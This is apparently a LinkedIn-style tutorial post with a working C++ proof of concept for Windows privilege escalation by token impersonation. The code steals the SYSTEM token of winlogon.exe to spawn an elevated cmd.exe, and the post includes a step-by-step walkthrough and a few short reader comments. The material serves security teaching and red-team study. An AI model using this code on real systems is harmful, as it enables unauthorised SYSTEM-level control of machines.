Leveraging Token Impersonation in Windows for Privilege Escalation (POC in C++):
Abhishek sharma
SOC Analyst @ CISAI CEH | CHFI | Malware Developer | Red teamer | Security researcher
Token impersonation is a powerful mechanism in Windows that can be used for legitimate purposes, such as service-to-service authentication, but it can also be exploited for privilege escalation if not properly managed and secured. This is achieved by using an access token, which contains the security information for a logon session. Impersonation tokens can be used by processes to temporarily adopt the security context of another user, thereby gaining the user's privileges and permissions.
So, for the Proof of Concept, Let's delve into a practical example demonstrating how token impersonation can be implemented in a C++ program. The goal of this code is to impersonate a process with higher privileges (specified by pid_to_impersonate) and create a new process running with the same privileges.
Here's how we'll write the code -
void EnablePrivileges(HANDLE hToken, LPCSTR lpszPrivilege, BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;
LookupPrivilegeValue(NULL, lpszPrivilege, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);
}
This function enables or disables a specific privilege for a given token. It takes the token handle, the name of the privilege, and a boolean to indicate whether to enable or disable the privilege. It first looks up the locally unique identifier (LUID) for the privilege, then sets the TOKEN_PRIVILEGES structure, and finally adjusts the token privileges using AdjustTokenPrivileges.
Now the main function-
int main()
{
int pid_to_impersonate = <Enter pid of process with elevated privileges>;
HANDLE TokenHandle = NULL;
HANDLE DuplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
HANDLE CurrentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &CurrentTokenHandle);
EnablePrivileges(CurrentTokenHandle, SE_DEBUG_NAME, TRUE);
HANDLE rProc;
rProc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, pid_to_impersonate);
BOOL rToken = OpenProcessToken(rProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle);
BOOL impersonateUser = ImpersonateLoggedOnUser(TokenHandle);
DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &DuplicateTokenHandle);
CreateProcessWithTokenW(DuplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
return 0;
}
Initialization:
pid_to_impersonate is set to the PID of the process whose token we want to impersonate.
Various handles and structures are initialized and zeroed out using ZeroMemory.
Open current process token:
The current process token is opened with the TOKEN_ADJUST_PRIVILEGES privilege, allowing the program to adjust its privileges.
Enable SE_DEBUG_NAME privilege:
EnablePrivileges is called to enable the SE_DEBUG_NAME privilege, which is required to open the process with PROCESS_QUERY_INFORMATION.
Open target process:
OpenProcess is used to get a handle to the target process (pid_to_impersonate) with PROCESS_QUERY_INFORMATION.
Open target process token:
OpenProcessToken is called on the target process to get a handle to its token with the privileges TOKEN_DUPLICATE, TOKEN_ASSIGN_PRIMARY, and TOKEN_QUERY.
Impersonate the target user:
ImpersonateLoggedOnUser is used to impersonate the user associated with the token.
Duplicate the token:
DuplicateTokenEx is called to duplicate the token, creating a primary token that can be used to create new processes.
Create a new process with the duplicated token:
CreateProcessWithTokenW is used to create a new process (cmd.exe) with the duplicated token, running with the same privileges as the impersonated user.
So, now to test it out we'll try to impersonate the token of winlogon.exe. Winlogon.exe runs under the NT AUTHORITY\SYSTEM account, which is a highly privileged account in Windows operating systems. This account has the most extensive privileges on the local system, enabling it to perform any operation.
For this i am using a windows virtual machine and first we'll check the PID of the winlogon.exe process.
We'll change the value in our code-
int pid_to_impersonate = 824;
Then we will compile our binary, i have used cl.exe (A command line compiler which comes with Visual Studio) for compiling.
Now first we'll check our current username
As we can see we our currently logged on as desktop-bou8p3m\dope. Now we'll execute the binary and we'll see a new cmd open up. If we run whoami in the new cmd shell we'll see the user as nt authority\system.
So by using this we were able to steal the access token of winlogon.exe or rather the nt authority system and use the duplicated token to spawn a cmd shell with elevated rights.
Token impersonation is a powerful feature in Windows, enabling both administrative efficiency and posing potential security risks. By understanding how it works and implementing best practices, we can leverage its benefits while safeguarding our systems against malicious exploitation. Stay vigilant and informed to protect your digital environment. I hope this gave you all a foundational knowledge of how token impersonation works.
#Cybersecurity #Windows #TokenImpersonation #PrivilegeEscalation #Infosec #MalwareDevlopement #RedTeamers #c++
NISM XV | SQL | JP MORGAN | BCG | IC- 01| BFSI & Actuarial club | Global Finance hub | finlatics | BFSI student | posts content about business and finance |
7 个月nice work
Data Services Consultant @UKG
7 个月Insightful!
Analyst @ Goldman Sachs - Asset and Wealth Management | Monitoring & Testing
7 个月Very informative!!
System Specialist at Moodys | RPA | Tech
7 个月Interesting!